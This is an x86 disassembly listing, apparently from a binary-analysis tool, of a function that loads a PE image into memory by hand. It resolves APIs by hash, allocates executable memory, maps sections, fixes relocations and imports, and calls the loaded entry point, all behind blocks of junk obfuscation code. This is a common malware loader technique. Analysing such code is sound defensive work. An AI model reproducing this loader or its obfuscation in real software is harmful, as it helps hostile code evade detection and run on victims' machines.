Function at 0x5a01e4
Capabilities:
Parse pe header

Disassembly:
pushal
mov ebp, esp
mov edi, 0
mov edx, 1
mov ecx, edx
mov eax, 0x66
sub eax, eax
cmp eax, 0xfcf44
jg 0x5a0076
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
nop
nop
add edx, ecx
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
inc eax
nop
nop
jmp 0x5a0016
mov ecx, ecx
popal
pushal
mov ebp, esp
mov edi, 0
mov edx, 1
mov ecx, edx
mov eax, 0x66
sub eax, eax
cmp eax, 0xfcf44
jg 0x5a00ef
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
nop
nop
add edx, ecx
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
inc eax
nop
nop
jmp 0x5a008f
mov ecx, ecx
popal
pushal
mov ebp, esp
mov edi, 0
mov edx, 1
mov ecx, edx
mov eax, 0x66
sub eax, eax
cmp eax, 0xfcf44
jg 0x5a0168
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
nop
nop
add edx, ecx
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
inc eax
nop
nop
jmp 0x5a0108
mov ecx, ecx
popal
pushal
mov ebp, esp
mov edi, 0
mov edx, 1
mov ecx, edx
mov eax, 0x66
sub eax, eax
cmp eax, 0xfcf44
jg 0x5a01e1
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
nop
nop
add edx, ecx
add eax, edx
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
sub eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
xor eax, edx
sub eax, edx
add eax, edx
xor eax, edx
dec ebp
xor ebp, eax
xor esp, ebp
xor esp, ebp
xor ebp, eax
inc ebp
inc eax
nop
nop
jmp 0x5a0181
mov ecx, ecx
popal
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x5a027a
push dword [ebp - 4]
call fcn.005a07d8
mov dword [ebp - 0x44], eax
cmp word [ebp - 0x44], 0x5a4d
jne 0x5a027a
xor eax, eax
jmp 0x5a027f
mov eax, 1
test eax, eax
je 0x5a0291
mov eax, 0
jmp 0x5a07d2
push 0x3c
push dword [ebp - 4]
call fcn.005a081a
push eax
call fcn.005a07f4
mov word [ebp - 8], ax
mov eax, dword [ebp - 8]
cwde
push eax
push dword [ebp - 4]
call fcn.005a081a
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call fcn.005a07f4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x4550
jne 0x5a0306
push 0x16
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07d8
mov dword [ebp - 0x4c], eax
push 2
mov eax, dword [ebp - 0x4c]
cwde
push eax
call fcn.005a0841
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x5a0306
xor eax, eax
jmp 0x5a030b
mov eax, 1
test eax, eax
je 0x5a031d
mov eax, 0
jmp 0x5a07d2
call fcn.005a0868
mov dword [ebp - 0x10], eax
push 0xda89fc22
push dword [ebp - 0x10]
push 0
call fcn.005a08bb
mov dword [ebp - 0x14], eax
push 0x700ed6df
push dword [ebp - 0x10]
push 0
call fcn.005a08bb
mov dword [ebp - 0x18], eax
push 6
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07d8
cwde
mov dword [ebp - 0x1c], eax
push 0x38
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x20], eax
push 1
push dword [ebp - 0x1c]
call fcn.005a09ac
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x5a04d7
mov eax, dword [ebp - 8]
cwde
push eax
push dword [ebp - 4]
call fcn.005a081a
mov dword [ebp - 0x3c], eax
push 0xf8
push dword [ebp - 0x3c]
call fcn.005a081a
mov dword [ebp - 0x40], eax
push 0x28
push dword [ebp - 0x1c]
call fcn.005a09d3
push eax
push dword [ebp - 0x40]
call fcn.005a081a
mov dword [ebp - 0x24], eax
push 8
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x40], eax
push 0xffff
push dword [ebp - 0x40]
call fcn.005a0841
mov dword [ebp - 0x28], eax
push 0x10
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x2c], eax
push 0xc
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], eax
mov eax, 0
setg al
test eax, eax
je 0x5a044b
mov eax, dword [ebp - 0x2c]
jmp 0x5a044e
mov eax, dword [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.005a081a
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
call fcn.005a081a
mov dword [ebp - 0x3c], eax
push 1
push dword [ebp - 0x3c]
call fcn.005a09ac
mov dword [ebp - 0x40], eax
push dword [ebp - 0x20]
push dword [ebp - 0x40]
call fcn.005a09fb
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call fcn.005a09d3
mov dword [ebp - 0x30], eax
push 0x50
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x30], eax
mov eax, 0
setg al
test eax, eax
je 0x5a04c8
mov eax, dword [ebp - 0x30]
jmp 0x5a04cb
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x5a0395
add esp, 0xc
cmp dword [ebp - 0x34], 0
jne 0x5a04ee
mov eax, 0
jmp 0x5a07d2
push 0x40
push 0x3000
push dword [ebp - 0x34]
push 0
push 0xffffffff
push dword [ebp - 0x14]
call fcn.005a0a63
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x5a0524
mov eax, 0
jmp 0x5a07d2
push 6
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07d8
cwde
mov dword [ebp - 0x1c], eax
push 0xf8
mov eax, dword [ebp - 8]
cwde
push eax
call fcn.005a081a
mov dword [ebp - 0x3c], eax
push 0x28
push dword [ebp - 0x1c]
call fcn.005a09d3
push eax
push dword [ebp - 0x3c]
call fcn.005a081a
push eax
push dword [ebp - 4]
push dword [ebp - 0x38]
call fcn.005a0a96
push 1
push dword [ebp - 0x1c]
call fcn.005a09ac
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x5a065e
push 0xf8
mov eax, dword [ebp - 8]
cwde
push eax
call fcn.005a081a
mov dword [ebp - 0x3c], eax
push 0x28
push dword [ebp - 0x1c]
call fcn.005a09d3
push eax
push dword [ebp - 0x3c]
call fcn.005a081a
push eax
push dword [ebp - 4]
call fcn.005a081a
mov dword [ebp - 0x24], eax
push 0xc
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x2c], eax
push 0x10
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x2c], 0
je 0x5a0610
cmp dword [ebp - 0x20], 0
jle 0x5a0610
mov eax, 1
jmp 0x5a0612
xor eax, eax
test eax, eax
je 0x5a0655
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call fcn.005a081a
mov dword [ebp - 0x3c], eax
push 0x14
push dword [ebp - 0x24]
call fcn.005a081a
push eax
call fcn.005a07f4
push eax
push dword [ebp - 4]
call fcn.005a081a
mov dword [ebp - 0x48], eax
push dword [ebp - 0x20]
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
call fcn.005a0a96
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x5a0588
add esp, 0xc
push 0xa4
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jle 0x5a068c
push dword [ebp - 0xc]
push dword [ebp - 0x38]
call fcn.005a0adf
push 0x80
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07f4
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jle 0x5a06ce
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 0x38]
call fcn.005a0d3b
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x5a06ce
mov eax, 1
jmp 0x5a06d0
xor eax, eax
test eax, eax
je 0x5a0701
push 0
push 0x8000
push 0
push dword [ebp - 0x38]
push 0xffffffff
push dword [ebp - 0x18]
call fcn.005a0a63
mov eax, 0
jmp 0x5a07d2
push 0x28
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07f4
push eax
push dword [ebp - 0x38]
call fcn.005a081a
mov dword [ebp - 0x2c], eax
push 0x16
push dword [ebp - 0xc]
call fcn.005a081a
push eax
call fcn.005a07d8
mov dword [ebp - 0x40], eax
push 0x2000
mov eax, dword [ebp - 0x40]
cwde
push eax
call fcn.005a0841
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x5a07ca
push 0
push 0
push 0
push 1
push 0
push dword [ebp - 0x2c]
call fcn.005a0a63
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x5a07ca
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x2c]
call fcn.005a0a63
push 0
push 0x8000
push 0
push dword [ebp - 0x38]
push 0xffffffff
push dword [ebp - 0x18]
call fcn.005a0a63
mov eax, 0
jmp 0x5a07d2
mov eax, dword [ebp - 0x38]
jmp 0x5a07d2
mov esp, ebp
pop ebp
ret 4